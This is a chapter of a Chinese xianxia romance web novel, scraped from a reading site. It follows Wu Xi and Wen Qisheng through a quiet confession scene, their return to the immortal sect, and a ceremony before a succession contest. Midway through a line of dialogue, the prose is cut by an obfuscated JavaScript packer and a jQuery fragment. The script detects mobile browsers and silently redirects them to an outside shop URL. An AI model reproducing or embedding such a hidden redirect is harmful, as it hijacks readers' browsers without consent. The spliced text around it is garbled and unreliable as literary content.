文趣网 > 其他小说 > 隐鹿溺雪 > 35. 仙门
    不是?

    巫羲一愣,不是拿我当挡箭牌,那不就是……

    她随即一把掀开被子,露出眼睛,转头震惊地看向闻祈笙。

    于是她撞进了闻祈笙那双温柔缱绻望着她的深邃黑眸。她倏地想起神树底下那个轻轻的吻。

    “你……”巫羲一时之间不知道说什么。

    闻祈笙坐在床沿,手撑着床榻,微微靠近,垂着眼问道:“我的秘密被你听见了,你要躲我吗?”

    巫羲心说我又不是故意的。

    她正要辩驳,下一刻闻祈笙低低沉沉的嗓音又响起来。

    “我不会做什么的。”他说,声音里似乎带着不容置疑的强势,听起来又像是叹息和乞求,“你别躲我。”

    明明是一起长大,一同经历了生死的人,这会居然会怕她躲着他。

    巫羲不由得笑了笑,说:“我不躲你。”

    闻祈笙也跟着勾了勾唇,然后又问:“那你呢?”

    “……?”巫羲头脑一懵,一下子没反应过来,下意识将疑惑脱口而出,“什么?”

    结果话音刚落,她就明白了闻祈笙的意思。

    一时之间她竟觉得闻祈笙凑得似乎有点太近,她抬手抵着闻祈笙的胸膛,将他推开一点点,“我……不知道,我一直把你当作家人。应该没有那方面的感情。”

    她对云离的情谊,应该是只属于对兄长的情谊。

    闻祈笙挑了挑眉,疑惑地低声重复了一句没有?

    随即哦了一声,两人都没再开口。

    一时之间巫羲竟觉得有些尴尬,觉得脸颊微微发热,于是撇开头不看他。过了一会,她听见闻祈笙突然用意味不明语气说道:“你说没有就没有吧。”

    “……?”

    这是什么意思?难道应该有?

    没等她继续多想,闻祈笙又再次微微靠过来,低沉的嗓音微微的笑意,让巫羲想起了夜晚皎洁的月亮,洁白如雪,空灵清幽。

    他说:“你不喜欢我,只将我当作哥哥,那你想喜欢谁?”

    步步紧逼。

    “……还没有喜欢的人。”巫羲不假思索应道,她只想快点揭过这个话题,想了想又道:“这事你不能再告诉别人。”

    “哪件事?你不喜欢我还是你没有喜欢的人?”闻祈笙问道。

    啧,他在装傻。

    但是他的表情看起来很无辜,似乎真的不理解,巫羲没办法揭穿,只得说道:“是你,你喜欢我这件事。”

    “我不说,别人也知道了怎么办?”

    哪有这么多怎么办,你不说,他们怎会知道。

    巫羲说:“那他们知道了就知道了,反正你不许说。”

    “好霸道,巫羲。”闻祈笙笑了笑,“伤口好些了吗?我看看。”

    说着他的手探进被子里,微凉的手准确无误的捉住了她温热的手腕,轻轻的从被子底下拽出来。

    巫羲任由他察看掌心拉弓时留下的擦伤,手指灵活欢快地动了动,同时应道:“恢复的很快,好很多了。”

    闻祈笙目光移向她受过伤的肩膀,表情认真严肃,说道:“右肩的伤好不了那么快,还要继续休养才行。这段时间,别用右手了。”

    “哦。”巫羲道。

    话音刚落,窗外传来响动,一道白影咻的冲进屋内,速度飞快。

    闻祈笙只觉肩上猛然一沉,随即偏头看去,是那只白色的雪鸮。它呜的叫了一声,转动圆圆的脑袋,黑溜溜的眼睛盯着闻祈笙,像是在打招呼。

    巫羲也跟着看向它,稀奇地问道:“你怎么跟上来了?”

    它离得近,她想抬手去摸它的脑袋,结果闻祈笙自打刚才抓住她的手之后就一直没松开,她只好先对闻祈笙说:“松开我的手。”

    闻祈笙似乎知道她想干什么,不仅不松开,还微微用力,好抓得更紧,语气带着些许不满,“你的肩还没好利索,不要做这么大的动作。”

    巫羲只能暂时放弃。

    “饿了。”她说。

    闻祈笙随即起身,将她的手放回被褥内,丢下一句话就往门外走。

    “我去端些吃的上来。”

    雪鸮扑棱着翅膀,落到床上,没跟他一起去,等闻祈笙出去后,巫羲将手伸出被子,搭在雪鸮的脑袋上,嘀咕道:“不让我摸,我就摸。”

    算起来,这只雪鸮也得有一千年的岁数了,当年她途径那片松林,在一处深水池边发现了这只小家伙,奄奄一息,便随手用丛莲山上的仙草喂食,没想到它居然活到现在,还通了人性,替她守着那棵神树。

    “这么久没见,你是靠血味认出我的吗?”巫羲懒懒地抚摸着它的头,轻声问道。

    雪鸮任由它摸着,舒服地闭上了眼睛,没有反应。

    ***

    夜晚时,巫羲收到今蘅派人送来的书信,说是抚顶仙门的少主比试即将开始,掌门夫人杭淑希望能在这次比试里看到闻祈笙。

    闻祈笙知道后当然不会去,只是回绝之后杭淑后来亲自派人送信过来,说是近日身体不适,实在想念,让他们回仙门看她一眼,叙叙旧。

    这套说辞实在勉强,但巫羲有心想让他去,两人多待了几天,没在晴松发现邪魔之后才动身回了仙门。

    两人当天就直奔杭淑的院子,杭淑见到巫羲仿佛并不意外,和巫羲热络的叙旧一番,说了几句家常话,便开始打发她走了,走之前闻祈笙扣住她的手臂,低声道:“去我房里等我。”

    “……”巫羲余光瞥了杭淑一眼,她的笑意似乎有点裂开,于是低声回道:“不去,我自己有院子。”

    说完偷偷抽回自己的手,径直离开。

    回去的路上正巧碰上迎面而来的今蘅,他们回来的事情鲜有人知,这时候他们刚到没多久今蘅就来了,也实在太巧了些,倒像是刻意来找闻祈笙的。

    对方看见她,主动与她打招呼,除了一开始时愣了一下,和平常似乎没什么不同。

    “你往哪里去?”今蘅问。

    巫羲笑了笑,说道:“随便到处逛逛。”

    今蘅又道:“云椿师妹昨日刚好和她师父从山下历练回来,昨日还同我问起你呢,你要不要去找她玩玩?”

    *

    晚上巫羲在自己房里休息的时候,外边雷声轰隆一响,天色暗下来,没多久就开始下起了倾盆大雨。

    电闪雷鸣,风雨交加。

    一道人影立在屋门口,推门而入。

    巫羲一惊,坐起来,原本这细碎响动极易被雨声掩盖,但来人就是听见了。

    他停下脚步,站在原地。

    “巫羲。”

    巫羲听见声音,松了口气,她道:“大晚上,你过来做什么?”

    脚步声重新响起,闻祈笙靠近床边,道

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17636888|206611||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    :“我过来提醒你上药。”

    “睡这么早,伤口上药了没?”闻祈笙道:“不好好上药,可是会留疤的。”

    巫羲翻了个身,闷闷道:“上了。”

    “你回去吧。”她说,“明天你们不是要早起去山庙?”

    巫羲知道他想问什么,没等他开口便说道:“杭淑夫人留着你说了这么久的话,肯定会让你留下来参加比试的。不管用什么方式。”

    闻祈笙点了点头,“你猜的不错,我们需要在这里多停留几日。待这里的事情处理完,我就和你去玉仙关。”

    *

    仙门重大事件开始前都会在山庙举行祈福仪式,向供奉的神明祈求护佑,确保一切顺利进行。仙门的门生都会过去,巫羲不是仙门里的门生,自然不用早起受这个罪。

    但她怕闻祈笙一个人待着无聊,于是翌日艰难地爬起来去了山庙。

    她藏在人群中,看向高高的看台,上面坐着十几位长老,坐在正中心的是掌门常千壶,两侧边分别是闻祈笙和杭淑。

    闻祈笙神情淡漠,接过门生递来的线香,在门生的示意下跟着掌门和几位长老,朝着高大的神像拜了拜。

    神像与他只有略微相似,人间的百姓没有见过他几次,只是在传闻中建了一座相似的神像,然后再一传十,十传百,后人眼中的掌管鸿鹿山的神明就是长这样,后世建造神像都依葫芦画瓢建了一座又一座。

    所以不会有人怀疑,闻祈笙和他们所供奉的神明是同一个。

    传说抚顶仙门的建派掌门在早些年时曾见过这位神明,常千壶作为现任掌门,对这位神明应该会比其他人更为熟悉,也不知道他有没有看出来,知不知道些什么。

    “诶你们看,闻师兄怎么回来了,他不是下山了吗?”

    巫羲听见声音,偏头看去,只见金肃宵身边围着几个弟子,这话便是他旁边一个稍微矮胖的弟子说的。

    只见金肃宵眼神凌厉地盯着闻祈笙的方向,神情微微不满,不像平日那般和气,他意味不明地冷笑道:“当然要回来,那个位置,整个仙门哪有人抢得过他?”

    “就算你比他强,你也得不到。这场比试就是一场笑话。”

    这是什么意思?什么叫你比他强也坐不上少主的位子。难不成,闻祈笙本来就是已经定好且永远不会变的人选吗?

    杭淑向来把闻祈笙当作自己的亲儿子养,金肃宵说的话也不是不可能发生。

    巫羲若有所思地看着金肃宵,这人看起来倒像是知道些什么不为人知的事。

    那几名弟子听不懂他的意思,只讪讪点头,压着声音附和几句。

    “是是是。”

    “谁都知道闻师兄的实力强悍,这场比试还有谁赢得过他。”

    “仙门的分支我看也不必来了,多此一举。”

    谁知道他们这一番不知实情的反应惹怒金肃宵,他神情不满地甩了一下袖子,掌心微微蜷起,冷着脸重新望向闻祈笙的位置。

    门生接过闻祈笙的线香插到灰罐,又将闻祈笙送回看台。

    闻祈笙走之前朝看台下的众多门生看了一眼,看向那一抹黄色身影时怔了一下,微微勾了勾唇。

    这些神情被一直盯着他的杭淑和今蘅尽收眼底,顺着他的目光往看台下看去,看见了巫羲。

    于是巫羲除了收到笑容之外,还承受了两道目光。